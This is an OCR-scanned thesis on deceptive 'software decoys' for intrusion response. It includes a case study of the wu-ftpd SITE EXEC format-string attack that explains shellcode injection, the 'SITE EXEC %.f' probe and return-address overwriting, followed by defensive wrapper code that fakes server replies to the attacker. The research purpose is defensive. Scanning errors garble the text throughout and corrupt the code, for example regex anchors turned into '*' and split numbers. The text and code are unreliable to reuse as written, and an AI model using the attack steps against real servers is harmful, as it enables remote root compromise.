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INTRODUCTION 


Computers  are  playing  an  increasingly  important  role  in  modern  society.  They 
have  penetrated  our  lives  in  such  a  degree  that  we  encounter  them  almost  everywhere. 
The  range  of  activities  controlled  by  computers  ranges  from  the  simple  and  innocuous  to 
the  complex  and  critical. 

The  criticality  of  some  of  the  functions  controlled  by  computers  demands  reliable 
operation,  which  cannot  be  guaranteed  under  the  threat  of  a  possible  cyber  attack.  All 
these  make  computer  security  even  more  important,  and  have  spurred  on  a  lot  of  research 
on  methods  to  protect  information  systems. 

Two  types  of  strategies  for  defending  against  attacks  are: 

•  Identifying  and  fixing  known  vulnerabilities  of  an  information  system. 

•  Detecting  attacks  before  they  do  significant  harm  to  an  information 
system. 

Finding  vulnerabilities  is  not  an  easy  task.  It  is  often  a  matter  of  who  finds  them 
first.  If  the  “good  guys”  are  the  first  to  discover  a  flaw  that  can  be  exploited,  then  not 
much  harm  may  be  done,  assuming  that  the  fixes  for  removing  the  flaws  are  applied  in  a 
timely  manner  on  the  systems  that  have  the  flaws.  The  worst-case  scenario  is  the  one  in 
which  the  “bad  guys”  are  the  first  to  discover  the  vulnerability.  In  this  case,  they  can  take 
advantage  of  the  vulnerability  one  or  more  times  before  they  are  discovered  and  the 
vulnerability  is  fixed.  This  situation  can  be  tackled  only  with  the  help  of  intrusion 
detection  systems.  One  way  of  characterizing  intrusion  detection  systems  is  by  the 
detection  techniques  they  utilize.  There  are  three  dominant  techniques  used  today: 

Anomaly  detection:  A  profile  is  created  describing  normal  behavior  and  any 
deviation  from  this  profile  is  treated  as  an  intrusion.  The  advantage  of  this  approach  is 
that  it  can  detect  previously  unknown  attacks  but  it  also  produces  many  false  positives. 

Misuse  detection:  This  is  also  called  signature-based  detection.  This  technique 
involves  identifying  sequences  of  events  that  are  known  to  lead  to  an  attack.  Whenever 
one  of  these  sequences  is  detected,  it  is  treated  as  an  attack.  This  approach  produces  few 

false  positives  but  it  can  only  detect  known  attacks. 
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Specification-based  detection:  This  technique  involves  specifying  a  program’s 
intended  behavior.  Any  deviation  from  this  behavior  is  considered  an  attack.  It  can  detect 
previously  unknown  attacks.  The  drawback  of  this  approach  is  that  it  requires  manual 
production  of  the  specifications. 

Independent  of  the  detection  technique  used,  another  thing  that  also  characterizes 
intrusion  detection  systems  is  their  response  when  an  intrusion  is  detected.  Some  systems 
just  log  the  intrusion  while  others  take  some  action  to  prevent  it  from  doing  any  harm. 
More  sophisticated  systems  have  different  levels  of  response,  depending  on  the  nature  of 
the  attack. 

Although  the  traditional  approach  to  defending  information  systems  is  sufficient 
for  most  cases,  it  can  be  proven  inadequate  for  some  special  cases.  These  are  critical 
systems  controlling  vital  functions,  like  military  systems.  These  systems  have  to  deal 
with  highly  trained  attackers  who  do  not  give  up  easily.  Each  time  they  are  detected  by 
the  intrusion  detection  system  and  are  denied  access,  they  get  immediate  feedback  about 
the  progress  of  their  attack.  If  one  exploit  fails,  the  attackers  will  try  another  one,  possibly 
more  sophisticated  in  nature.  Eventually,  they  will  try  an  exploit  that  the  intrusion 
detection  system  cannot  detect,  and  may  be  able  to  gain  privileged  access  to  the  system. 
In  the  worst  case,  the  intrusion  will  never  be  noticed,  or  it  will  be  discovered  after  an 
attack  has  been  successful.  The  bottom  line  is  that  with  current  intrusion  detection 
techniques,  it  is  almost  impossible  to  guarantee  that  they  will  prevent  intrusion  or  misuse. 

Michael  and  Richie  introduced  in  [1]  a  different  approach  to  defending 
information  systems:  “Intelligent  software  decoys.”  This  approach  borrows  many  ideas 
from  military  strategy.  Instead  of  letting  the  attacker  know  that  he  has  been  detected,  try 
to  keep  the  attacker  occupied  by  making  the  attacker  believe  that  the  attack  is  successful 
and  progresses  as  expected.  This  way,  the  attacker  looses  valuable  time,  which  could  be 
used  to  try  a  different  attack,  and  at  the  same  time,  the  software  decoy  has  the  opportunity 
to  learn  about  the  nature  of  the  attack. 

There  are  two  basic  requirements  for  this  approach  to  be  successful:  being  able  to 
detect  the  attack,  and  responding  without  human  intervention.  Michael  et  al.  in  [2] 
propose  the  use  of  an  event-based  language  to  fulfdl  these  two  requirements.  This 
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language  uses  event  patterns  to  define  suspieious  behavior.  For  eaeh  pattern,  the  language 
also  defines  the  aetions  to  be  taken  when  the  events  oecur. 

Our  first  step  has  been  to  use  the  Morris  worm  as  a  ease  study.  However,  a  study 
of  several  attaeks  is  required  to  develop  the  speeifieation  for  the  high-level  deeoy 
speeifieation  language  and  the  arehiteeture  for  the  eorresponding  eompiler.  The  language 
must  support  deseribing  the  behavior  of  currently  known  or  future  attacks.  The  response 
part  of  the  language  requires  coordination  with  the  development  of  deception  techniques 
to  ascertain  that  it  is  sufficient  to  express  them.  The  language  must  also  reduce  by  at  least 
one  order  of  magnitude  the  size  of  the  specification  of  decoy  actions  over  what  will  be 
generated  by  the  compiler  for  input  into  a  tool  that  generates  kernel  modules  that  serve  as 
wrappers:  the  decoy  detection-and-response  actions  are  placed  in  software  wrappers. 

The  next  step  was  to  select  an  exemplar  attack  and  create  a  deception  for  it.  An 
automated  attack  was  chosen  so  that  it  could  be  repeated  many  times  to  test  different 
decoy  strategies.  Then  a  decoy  was  created  using  NAI’s  Generic  Software  Wrapper 
Toolkit  [10].  The  wrapper  was  tested  against  the  automated  attack  and  found  to  be  able  to 
produce  the  desired  deception.  Next,  the  functionality  of  the  wrapper  was  specified  using 
our  high-level  decoy  specification  language.  This  process  helped  identify  the  missing 
constructs  of  our  language  and  the  improvements  it  required.  In  the  future,  decoys  need  to 
be  specified  only  in  our  language  and  a  compiler  will  map  these  specifications  to  those 
that  the  Wrapper  Toolkit  understands. 
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II.  INTELLIGENT  SOFTWARE  DECOYS 


A.  INTRODUCTION 

Deception  has  been  successfully  utilized  in  the  military  for  centuries  [3].  It  has 
been  used  in  both  defense  and  offense.  In  some  cases,  deception  has  been  the  critical 
factor  that  determined  the  outcome  of  a  battle.  Deception  can  be  used  to  gain  an 
advantage  over  an  opponent,  or  to  neutralize  an  opponent’s  advantage. 

Cyberspace  is  becoming  the  battlespace  of  the  future,  and  military  practices,  like 
deception,  seem  more  suitable  for  protecting  the  battlespace  than  traditional  information 
assurance  methods.  The  number  of  wars  over  the  centuries  has  lead  to  the  perfection  of 
military  tactics.  The  defense  of  information  systems  could  benefit  from  military 
experience.  Due  to  the  amount  of  resources  that  deception  requires,  it  may  at  first  glance 
appear  to  be  too  expensive  to  pursue.  This  is  the  reason  that  conventional  intrusion 
detection  techniques  are  adequate  for  most  systems.  However,  some  systems  are  so 
critical  that  they  cannot  tolerate  any  security  breaches.  For  these  systems,  their  integrity 
is  more  important  than  the  resources  required  to  maintain  it.  These  are  the  systems  for 
which  the  cost  of  employing  deception  is  worthwhile. 

The  use  of  “intelligent  software  decoys”  is  an  attempt  to  apply  the  principles  of 
military  deception  to  information  systems  security.  This  is  a  new  approach  to  system 
security.  The  main  difference  between  this  approach  and  traditional  approaches  is  that  the 
interaction  with  the  attacker  is  not  terminated  after  an  attack  is  detected,  but  instead, 
deception  techniques  are  used  to  keep  the  attacker  engaged  for  as  long  as  possible  to 
learn  about  the  nature  of  the  attack  (e.g.,  methods  employed,  intend  behind  the  attack). 

An  intelligent  software  decoy  serves  two  purposes: 

•  Learn  about  the  nature  of  the  attack  and  the  attacker  (counter  intelligence.) 

•  Protect  the  information  system  from  the  attack  (“attack  tolerance”.) 

1.  Learn  About  the  Nature  of  the  Attack 

The  conventional  response  to  an  intrusion  has  been  to  stop  immediately  any 
interaction  with  the  attacker.  While  this  has  the  desired  effect  of  stopping  the  attack,  it 
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has  some  drawbacks.  First,  the  interaction  ends  before  we  are  able  to  collect  enough 
information  and  evidence  about  the  attacker.  Second,  we  never  have  the  chance  to  learn 
how  the  attack  would  evolve  and  thus  prepare  ourselves  for  future  attacks. 

Software  decoys  have  a  different  approach  to  the  handling  of  detected  attacks.  It 
suggests  trying  to  keep  the  interaction  with  the  attacker  as  long  as  possible  without 
revealing  the  fact  that  the  attack  was  detected.  The  deception  can  continue  as  long  as  the 
system  is  not  at  risk. 

2.  Protect  the  Information  System  from  the  Attack 

The  most  important  purpose  of  software  decoys  is  to  protect  the  system  from 
attacks.  There  are  several  ways  that  deception  can  help  achieve  this.  The  system  may 
deceitfully  appear  difficult  to  attack,  or  the  attacker  may  be  lured  to  another  seemingly 
more  attractive  and  easier  target.  An  alternative  to  this  is,  instead  of  avoiding  the  attack, 
to  pretend  that  certain  weaknesses  exist  in  the  system  and  so  attract  the  attacker.  In  this 
case,  we  will  have  the  advantage  of  an  intrusion  under  our  complete  control.  The  attacker 
will  think  that  the  attack  is  successful  but  the  responses  to  the  attacker  by  the  decoy  will 
include  a  mixture  of  real  and  fake  information. 

In  any  case,  deception  is  a  very  delicate  operation.  Great  care  must  be  taken  to 
keep  a  balance  between  deception  and  reality  so  that  our  tactics  do  not  turn  against  us. 
Here  we  need  to  consider  such  things  as  counter  deception  and  double  agents. 

B,  ADVANTAGES  OF  INTELLIGENT  SOFTWARE  DECOYS 

The  concept  of  intelligent  software  decoys  provides  many  advantages  over 
traditional  intrusion  detection  methods. 

First,  it  benefits  from  military  tactics  developed  over  the  centuries.  Information 
warfare  shares  many  similarities  with  traditional  warfare.  Most  of  the  military  principles 
can  be  applied  to  information  warfare. 

Traditional  intrusion  detection  methods  have  very  limited  response.  Decoys  have 
very  powerful  response  capabilities  ranging  from  the  production  of  a  fake  error  message 
to  the  simulation  of  the  whole  operating  system.  The  supervisor  coordinates  the  deception 
process  and  decides  which  deception  tactic  should  be  applied. 
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The  decoy  mechanism  can  learn  from  previous  attack  attempts  and  adjust 
accordingly  its  behavior.  As  mentioned  above,  software  decoys  let  an  attack  proceed 
without  harming  the  system.  This  way,  information  about  new  attack  techniques  is 
gathered  and  used  to  develop  new  deception  strategies. 

In  general,  decoys  take  the  least  “violent”  approach;  Spend  more  effort  in  trying 
to  avoid  the  confrontation  and  you  will  not  have  to  defend  yourself  later. 
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III.  DECOY  CREATION  AND  MAINTENANCE 


The  decoy  creation  and  maintenance  process  involves  several  stages.  The  process 
is  designed  in  a  way  that  ensures  the  decoys  are  always  consistent  with  the  existing 
deception  policy  of  the  organization  and  that  the  system  is  never  in  danger  of  being 
compromised.  The  key  roles  in  the  process  are  those  of  the  Information  Warrior  (IW)  and 
the  Technical  Support  Personnel. 

The  Information  Warrior  has  limited  knowledge  of  the  technical  details  of  the 
decoy  mechanism.  It  is  a  person  with  tactical  knowledge,  and  a  high-level  view  of  the 
situation.  His  responsibilities  include  assessing  the  situation,  defining  new  decoys  and 
implementing  the  existing  policy  on  deception. 

The  Technical  Support  Personnel  are  people  with  very  detailed  knowledge  of  the 
decoy  mechanism.  Their  duty  is  to  develop  the  decoy  specifications  using  the  high-level 
detection- action  language. 

The  decoy  creation  and  maintenance  process  is  shown  in  Figure  1.  The  process 
starts  with  the  Information  Warrior  (IW)  specifying  deceptions,  parameters  and 
configurations  for  the  decoy  mechanism,  through  a  high-level  graphical  user  interface 
(GUI). 

The  Technical  Support  Personnel  receive  requests  for  new  decoys  from  the 
Information  Warrior  through  the  high-level  GUI.  The  specifications  for  the  new  decoys 
are  developed  with  the  help  of  the  high-level  decoy  specification  language. 

The  specifications  of  decoy  actions  are  submitted  to  the  supervisor.  The 
supervisor  sends  these  specifications  to  a  Checking  Tool  for  approval.  The  checking  tool 
maintains  a  database  of  the  existing  doctrine  and  policy  on  software  deception.  If  the 
decoy  specifications  comply  with  the  guidelines  in  the  database,  then  they  are  approved. 

Having  received  the  approval  for  the  specifications,  the  supervisor  sends  them  to 
the  Decoy  Action  Compiler.  The  role  of  the  decoy  action  compiler  is  to  take  decoy 
definitions,  written  in  the  high-level  decoy  specification  language,  and  create  wrapper 
definitions  expressed  in  the  Wrapper  Definition  Language  (WDL),  which  is  the  input  to 

9 


NAI’s  Generic  Software  Wrappers  Toolkit.  Additional  information  required  by  the  decoy 
action  compiler,  such  as  platform  information  and  additional  NAI  helper  functions,  are 
stored  in  an  internal  database. 


Figure  1.  High-Level  View  of  the  Decoy  Creation-and-Maintenance  Process 


The  NAI  Wrapper  Toolkit  has  its  own  compiler  that  generates  wrapper  modules 
from  the  WDL  specifications.  The  NAI  Wrapper  Toolkit  operates  as  a  kernel  module  that 
loads  and  activates  wrappers  dynamically.  Wrappers  are  activated  according  to  activation 
criteria.  These  criteria  can  activate  wrappers  based  on  the  user  name,  the  program  name, 
or  a  combination  of  the  two. 

This  way,  the  supervisor  creates  a  repository  of  detection  rules  and  decoy  actions. 
When  an  attack  is  in  progress  the  supervisor  employs  decoy  actions  from  this  repository 
according  to  the  guidelines  of  the  Information  Warrior.  At  all  times,  the  supervisor  sends 
feedback  to  the  Information  Warrior  and  the  Technical  Support  Personnel  about  the 
nature  of  the  attack,  the  attacker’s  response,  and  the  effectiveness  of  the  deception. 

The  software  wrappers  are  not  the  only  tools  that  the  supervisor  coordinates.  It 
can  control  a  number  of  other  tools  such  as  intrusion  detection  (ID)  tools,  computer 
network  attack  (CNA)  and  computer  network  defense  (CND)  tools,  and  data  mining 
tools. 
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IV.  THE  HIGH-LEVEL  ACTION-DETECTION  LANGUAGE 


The  high-level  deeoy  specilieation  language  was  first  introduced  by  Michael  et  al. 
in  [2],  It  is  a  language  used  to  define  detection-and-response  actions  based  on 
computations  over  event  traces. 

The  design  goals  of  the  language  are: 

•  Keep  the  language  at  a  high-level  to  facilitate  rapid  development  of  decoy 
definitions. 

•  The  language  should  support  both  intrusion  detection  and  automated 
response  to  intrusions. 

•  Equip  the  language  with  whatever  is  required  to  specify  deception 
strategies. 

A,  EVENTS 

An  event  is  any  action  that  can  be  detected  during  program  execution.  An 
example  of  an  event  is  a  system  call,  such  as  read.  Events  can  have  attributes.  Eor 
instance,  the  following  statement  declares  that  the  read  event  has  two  attributes:  buf 
(the  buffer)  and  nbyte  (the  size  of  the  buffer). 

event  read  (buf,  nbyte) 

If  we  want  to  refer  to  one  of  these  attributes  we  use  the  syntax  buf  (read) . 

We  can  define  two  relations  between  events,  precedence  and  inclusion:  An  event 
may  occur  before  another  event  or  an  event  may  be  included  inside  another  event.  These 
two  relations  are  specified  through  axioms,  for  example,  the  following  axiom  specifies 
that  an  event  of  type  open_running_processes  contains  an  event  of  type 
EnumProcesses  and  a  set  of  one  or  more  unordered  events  of  type  OpenProcess. 

open_running_processes  : : 

(EnumProcesses  {OpenProcess } +) 
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Note  in  the  above  example  that  the  notion  {OpenProcess  }  +  means  a  set  of 
events  of  type  OpenProcess  without  any  ordering  relationship. 

These  two  relations  suffiee  to  deseribe  a  program  exeeution  as  an  ordered  set  of 
events,  that  is  an  event  traee.  The  sequenee  of  events  during  a  program’s  exeeution  is 
contained  in  an  event  called  execute-program. 

B,  EVENT  PATTERNS 

An  expression  containing  events  and  conditions  on  their  attributes  is  an  event 
pattern.  The  following  event  pattern  matches  any  read  system  call  with  a  buffer  size 
larger  than  1000. 

x:  read  &  nbyte (x)  >  1000 

In  the  above  example  the  name  x  is  associated  with  the  specific  instance  of  the 
event  read. 

Events  have  duration,  a  beginning,  and  an  end.  Throughout  the  duration  of  an 
event,  the  values  of  its  attributes  can  possibly  change.  As  a  result,  it  is  necessary  to 
specify  in  an  event  pattern  the  exact  instant  that  the  attributes  are  evaluated.  We  are 
particularly  interested  in  two  instants:  The  beginning  and  the  end  of  an  event.  These  two 
instants  are  specified  with  the  keywords  pre  and  post,  respectively. 

We  can  select  from  a  set  of  events  only  those  events  that  match  a  specific  pattern 
using  the  keyword  detect.  For  example,  the  following  statement  selects  a  read  event 
that  has  a  buffer  size  larger  than  1000  from  the  set  of  events  that  occur  during  the 
program  execution. 

detect  x:  read 

&  nbyte  (x)  >  10  0  0 
from  execute-program 

A  detect  statement  can  also  contain  a  probe.  A  probe  is  a  Boolean  expression 
containing  event  attributes,  subroutine  calls,  or  a  combination  of  the  two.  Probes  can  be 
used  to  specify  additional  conditions  for  filtering  events.  For  example,  the  following 
expression  specifies  that  a  user  other  than  ‘root’  attempts  to  write  to  the  password  file. 
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x:  write 


&  filename (x)  ==  ' /etc/passwd' 

probe  (user  !=  'root') 

C.  RULES 

An  event  pattern  eombined  with  an  aetion  form  a  rule.  When  an  event  that 
matehes  the  event  pattern  is  deteeted,  the  aetion  is  performed.  The  aetion  part  of  the  rule 
is  speeified  with  the  keyword  do  and  eontains  C-like  statements  sueh  as  if-then-else  and 
assignments.  The  following  rule  speeifies  that  eaeh  time  a  read  event  is  deteeted,  and 
the  buffer  eontains  the  string  "SITE  EXEC",  then  the  value  "NOOP"  should  be 
assigned  to  the  buffer. 

detect  x:  read 

&  post  (buf(x)  ==  "SITE  EXEC") 
from  execute-program 
do  buf (x)  =  "NOOP" 

The  keywords  pre  and  post  determine  the  instant  that  the  event  attributes  are 
evaluated  to  mateh  the  event  pattern.  Consequently,  they  determine  the  time  that  the 
aetion  part  of  the  rule  is  performed. 

We  ean  assign  a  label  to  a  rule  and  use  it  to  refer  to  the  rule  later.  For  example, 
the  statement  below  assigns  the  label  rule_I  to  the  previous  rule. 

rule_I : : 

detect  x:  read 

&  post  (buf(x)  ==  "SITE  EXEC") 
from  execute-program 

do  buf  (x)  =  "NOOP" 

D.  DECOY  SPECIFICATIONS 

A  sequenee  of  deeoy  rules  eomprises  a  deeoy  speeifieation.  The  order  of  the  rules 
determines  the  order  that  the  events  are  deteeted.  By  default,  the  rules  are  ordered 
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sequentially.  The  eomplexity  of  the  attaeks  and  the  intrieacy  of  deeeption  tacties  make  it 
almost  impossible  to  develop  deeoy  specifications  using  only  sequentially  ordered  rules. 
For  this  reason,  the  language  supports  alternation  and  iteration. 

The  alternation  operator  is  ‘|’.  The  following  statement  specifies  that  first  we 
detect  rule_l  and  then  either  rule_2  or  rule_3. 

rule_l  (rule_2  |  rule_3) 

The  language  provides  three  iteration  operators: 

?  The  event  sequence  occurs  zero  or  one  time. 

+  The  event  sequence  occurs  one  or  more  times. 

*  The  event  sequence  occurs  zero  or  more  times. 

For  example,  the  following  statement  means  that  we  expect  rule_l  first,  then 
one  or  more  times  the  sequence  (rule_2  rule_3) ,  then  rule_4  might  be  detected, 
and  finally  rule_5  might  be  detected  zero  or  more  times. 

rule_l  (rule_2  rule_3)+  rule_4?  rule_5* 

E,  STRING  HANDLING 

Evaluating  event  patterns  involves  intensive  string  matching.  For  this  reason,  the 
language  is  equipped  with  features  that  facilitate  string  handling.  The  comparison 
operator  ‘==’  can  be  used  to  compare  strings.  String  matching  supports  regular 
expressions,  so  for  instance,  if  we  want  to  match  a  string  that  starts  with  the  word  ‘open’ 
we  will  use  ‘■^open’.  String  copying  is  performed  with  the  assignment  operator  ‘=’.  The 
statement  ‘stringl  =  string2’  copies  string2  to  stringl. 

F.  IMPLEMENTATION  ISSUES 

The  decoy  specifications,  through  various  stages  of  compilation,  are  going  to  be 
transformed  into  kernel  modules.  As  their  name  suggests,  these  modules  run  in  kernel 
space  and  have  unrestricted  access  to  the  whole  operating  system.  A  simple  error  in  the 
specifications  could  result  in  system  failure.  The  compiler  must  have  checking 
mechanisms  to  eliminate  the  possibility  of  an  error  in  the  specifications  passing 
undetected. 
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The  use  of  labels  makes  sequenees  of  rules  easier  to  understand.  The  inside  details 
of  eaeh  rule  are  separated  from  the  sequence  itself,  leaving  just  the  labels.  The 
compilation  of  the  decoy  specifications  will  produce  wrapper  definitions  for  the  Generic 
Software  Wrapper  Toolkit.  Since  the  wrappers  do  not  have  a  mechanism  similar  to  the 
labels,  the  compiler  must  replace  each  label  with  the  rule  that  it  represents.  Consequently, 
it  is  difficult  to  examine  the  correctness  of  the  mapping  of  the  high-level  specification  to 
the  specification  used  by  the  Software  Wrapper  Toolkit. 
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V.  CASE  STUDY 


In  this  chapter,  we  demonstrate  how  we  would  instrument  system  calls,  using  our 
approach,  to  try  to  detect  and  respond  to  an  attack.  We  start  with  a  deseription  of  a  well- 
known  attaek  script,  and  then  walk  the  reader  through  the  speeifieation  of  actions  we 
would  like  the  software  deeoy  to  take  to  try  to  proteet  against  the  ill  effects  of  the  attaek 
and  to  deceive  the  attaeker  about  the  true  nature  of  the  effects  of  the  attack  on  the  decoy- 
enabled  unit  of  software. 

A,  THE  ATTACK 

Washington  University’s  ftp  server  (wu-ftpd)  has  a  problem  in  the 
implementation  of  the  SITE  EXEC  eommand,  which  if  exploited,  can  give  root  privileges 
to  a  remote  user.  Wu-ftpd  is  one  of  the  most  popular  ftp  servers.  Due  to  the  widespread 
use  of  wu-ftpd,  many  programs  have  been  developed  that  automate  the  exploitation  of 
this  vulnerability.  One  of  these  programs  is  autowux.  With  the  help  of  a  series  of 
speeially  formatted  SITE  EXEC  commands,  it  manages  to  overwrite  the  return  address 
on  the  stack  and  execute  arbitrary  commands  as  root. 

The  eomplete  souree  code  of  the  autowux  program  is  listed  in  Appendix  A.  The 
attack  itself  consists  of  eight  steps.  The  interaetion  between  the  ftp  server  and  the  attacker 
that  takes  plaee  during  the  attack  is  shown  in  detail  in  Eigure  2  and  Eigure  3.  The  most 
important  parts  of  the  attack  are  explained  below. 

1,  Logging  In  (Step  1) 

The  attacker  logs  anonymously  in  to  the  ftp  server.  Anonymous  ftp  does  not 
require  a  specific  password  from  the  user,  so  when  asked  for  a  password  the  attacker 
sends  a  speeial  string  called  shellcode.  Shelleode  is  a  string  crafted  in  such  a  way  that  it 
can  be  treated  as  a  series  of  machine  language  instruetions,  whieh  if  executed,  can  spawn 
a  shell.  The  goal  of  the  attaeker  is  to  make  the  ftp  server  execute  this  code  and  get  back  a 
shell.  Any  command  executed  through  this  shell  will  have  root  privileges,  therefore 
giving  full  aeeess  to  the  vietim  computer.  The  technique  that  the  attacker  uses  to  achieve 
this  consists  of  two  steps.  Eirst,  store  the  shelleode  somewhere  in  the  memory  of  the 
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victim  computer  (the  anonymous  user’s  password  is  stored  in  the  server’s  memory). 
Second,  try  to  force  the  vietim  eomputer  to  exeeute  the  shell  code. 

2,  Checking  Vulnerability  (Step  2) 


This  step  involves  sending  the  command:  "SITE  EXEC  %.f"  to  test  if  the 
server  is  vulnerable.  Depending  on  the  response  from  the  server,  the  attaek  either 
eontinues  or  stops. 


Figure  2.  Message  Exehange  Between  the  Ftp  Server  and  the  Attaeker  (Steps  1-5). 
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Figure  3.  Message  Exchange  Between  the  Ftp  Server  and  the  Attacker  (Steps  6-8) 


3,  Finding  Buffer  Address  and  EIP  Location  (Steps  3-6) 

The  attacker  sends  a  series  of  specially  formatted  "SITE  EXEC"  commands 
trying  to  find  the  location  in  the  stack  where  the  shell  code  and  the  EIP  (Execution 
Instruction  Pointer)  were  stored.  The  EIP  holds  the  address  of  the  next  instruction  that 
will  be  executed.  When  a  program  calls  a  subroutine,  this  address  is  stored  in  the  stack. 
After  the  subroutine  ends,  the  EIP  value  is  fetched  from  the  stack.  By  changing  this  value 
before  it  is  fetched  someone  can  make  the  computer  execute  the  instructions  stored  in  the 
location  pointed  to  by  the  new  value. 

4,  Exploiting  (Step  7) 

Based  on  the  information  collected  in  the  previous  steps,  the  attacker  sends  a 
"SITE  EXEC"  command  that  manages  to  substitute  the  value  in  the  location  where  the 
EIP  is  stored  with  the  address  where  the  shellcode  is  stored.  This  way,  the  shellcode  will 
be  executed  spawning  a  shell  with  root  privileges.  If  the  attack  was  successful,  then  the 
attacker  should  interact  with  the  shell  instead  of  the  ftp  server.  To  confirm  this,  the 
attacker  sends  the  "id"  command.  This  command  should  be  executed  giving  back  the 
expected  result. 

5,  Starting  the  Shell  (Step  8) 

At  this  stage,  the  attack  is  considered  complete.  The  attack  program  enters  an 
infinite  loop  sending  the  user  input  to  the  server  and  receiving  the  response  back. 

B,  THE  DECEPTION 

We  chose  to  apply  a  simple  deception  strategy  for  the  purpose  of  demonstrating 
our  approach  to  specification  and  instrumentation:  make  the  attacker  believe  that  the 
attack  proceeds  as  expected,  while  at  the  same  time  protect  the  server  from  executing  any 
dangerous  commands.  We  first  specify,  using  our  high-level  action  language,  the 
detection  and  response  actions  to  be  performed  by  the  software  decoy.  We  then 
demonstrate,  via  manual  translation,  how  these  specifications  would  be  mapped  from  the 
high-level  specification  to  the  equivalent  representation  that  the  NAI  Generic  Software 
Wrapper  Toolkit  needs  to  actually  generate  the  wrappers  around  system  calls  to  effect  the 
actions  of  decoys.  In  future  research,  we  intend  to  implement  a  compiler  to  automate  the 
translation  from  high-  to  low-level  specification  of  decoy  actions. 
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Since  this  is  a  remote  attack,  we  do  not  have  access  to  the  attack  program.  We 
only  have  aecess  to  the  network  traffie  exchanged  between  the  ftp  server  and  the  attacker. 
This  traffie  consists  of  commands  and  responses.  The  only  means  by  which  we  can 
intervene  during  the  attack  is  by  intercepting  and  modifying  this  traffic.  The  ftp  server 
eommunieates  with  the  attacker  with  the  help  of  two  system  calls:  read  and  write. 
The  wrappers  ereated  with  the  help  of  the  Generic  Software  Wrapper  Toolkit  ean  give  us 
access  to  these  system  calls  and  their  parameters.  Intereepting  these  two  calls  and 
changing  the  contents  of  the  buffer  passed  as  a  parameter  enables  us  to  substitute 
commands  and  responses  with  ones  of  our  choice.  Sinee  we  are  doing  this  from  the  ftp 
server’s  side,  we  must  substitute  the  commands  before  they  reach  the  ftp  server  and  the 
responses  before  they  are  transmitted  over  the  network.  One  of  the  wrapper’s  features  is 
the  ability  to  intereept  system  calls  either  just  before  they  start  execution  or  after 
execution  has  completed.  This  is  indieated  with  the  keywords  pre  and  post, 
respectively.  Therefore,  each  time  a  read  system  call  is  intercepted,  we  use  post, 
allowing  the  buffer  to  be  filled  first  from  the  network.  Following  the  same  logic,  each 
time  a  write  system  call  is  intercepted,  we  use  pre  so  that  the  contents  of  the  buffer 
are  substituted  before  the  system  call  starts  transmitting  to  the  network.  This  whole 
proeess  puts  the  wrapper  between  the  ftp  server  and  the  attacker.  The  ftp  server  sees  only 
what  we  want  it  to  see,  as  does  the  attacker.  Figure  4  shows  an  example  of  this  proeess. 


Figure  4.  The  Role  of  Wrappers  During  Deeeption 
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The  wrapper  that  implements  the  deeeption  strategy  is  straightforward.  It  tries  to 
follow  the  eight  steps  of  the  attack.  Although  the  larger  part  of  it  is  a  series  of 
substitutions,  some  parts  require  further  explanation  and  will  be  discussed  bellow. 

As  mentioned  above,  the  attack  starts  with  the  attacker  sending  the  shellcode  as 
the  password.  Here,  we  assume  that  each  time  we  detect  the  shellcode  during  a  read 
operation,  we  are  dealing  with  an  attack.  This  assumption  can  be  considered  safe,  since 
the  probability  that  a  user  will  use  a  string  like  the  shellcode  as  a  password  approaches 
zero.  If  this  step  is  not  detected  then  the  wrapper  does  not  proceed  to  the  next  step. 

/*  STEP  1  */ 

op{read}  &&  step  (((char  *)$iobuf)  =~  m | shellCode |  )  post  { 

wr_printf ( "FTP  Wrapper:  STEP  l.\n"); 
attackStep  =  1; 

}; 

The  second  step  of  the  attack  involves  the  attacker  sending  the  command  "SITE 
EXEC  % .  f "  to  test  if  the  ftp  server  is  vulnerable  to  the  attack.  When  executed,  this 
command  returns  two  lines  of  response.  The  attack  program  is  also  expecting  two  lines. 
Therefore,  we  must  replace  the  command  sent  by  the  attacker  with  a  harmless  command 
that  also  returns  two  lines.  If  we  had  used  instead  a  command  that  returns  a  single  line, 
the  attack  program  would  stop,  waiting  forever  for  the  second  line.  The  problem  is  that 
regular  ftp  commands  return  one  line.  We  can  force,  though,  the  ftp  server  to  treat  a 
single  string  as  two  separate  commands  and  so  respond  with  two  lines,  one  for  each 
command.  To  achieve  this  we  terminate  the  string  with  two  newline  characters  (\n) 
instead  of  one.  At  the  same  time  we  must  modify  the  value  of  $sizeret,  which  is  the 
value  that  the  read  system  call  returns,  and  indicates  the  number  of  characters  read.  We 
must  set  this  value  so  that  it  includes  the  extra  newline  character  at  the  end. 

/*  STEP  2a  */ 

op{read}  &&  step  ((((char  *)$iobuf)  =~  m|"^SITE  EXEC  %.f"|  )) 

post  { 

char  *  newbuf; 

wr_printf ( "FTP  Wrapper:  STEP  2\n"); 
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attackStep  =  2; 

/*  Replace  SITE  EXEC  command  with  a  harmless  command  */ 

/*  that  causes  the  server  to  respond  with  two  lines  */ 
newbuf  =  wr_strdup ( "NOOP\n\n" )  ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  6;  /*Change  the  return  value  of  the  read  system  call*/ 
/*  to  reflect  the  changes  we  made  to  the  buffer  */ 


}; 


Now  that  we  have  intereepted  the  read  system  call,  and  substituted  the  buffer, 
we  must  intercept  the  response  from  the  ftp  server  and  modify  it  before  it  reaches  the 
attacker.  The  substitution  must  be  done  in  such  a  way  that  the  attack  program  receives 
exactly  what  it  expects.  This  is  done  in  steps  2b  and  2c. 

/*  STEP  2b  */ 

op{write}  &&  step  ((((char  *)$iobuf)  =~  m|"*200"|) 

&&  (attackStep  ==  2))  pre  { 
char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
newbuf  =  wr_strdup ( "200 — 2\r\n"); 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  8; 

}; 

/*  STEP  2c  */ 

op{write}  &&  step  ((((char  *)$iobuf)  =~  m|"*500"|) 

&&  (attackStep  ==  2))  pre  { 

char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
newbuf  =  wr_strdup ( "200  (end  of  ' % . f ' ) \r\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 
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$sizeret  =  21; 

}; 

Steps  3  to  5  work  in  a  way  similar  to  step  2.  We  intereept  the  ftp  eommands 
before  they  reaeh  the  ftp  server  and  substitute  them.  Likewise,  we  intercept  the  response 
from  the  ftp  server  and  substitute  it  with  what  the  attack  program  expects.  This  way,  the 
ftp  server  never  executes  any  commands  that  could  compromise  it  and  the  attack  program 
is  deceived  into  believing  that  the  attack  proceeds  as  expected. 

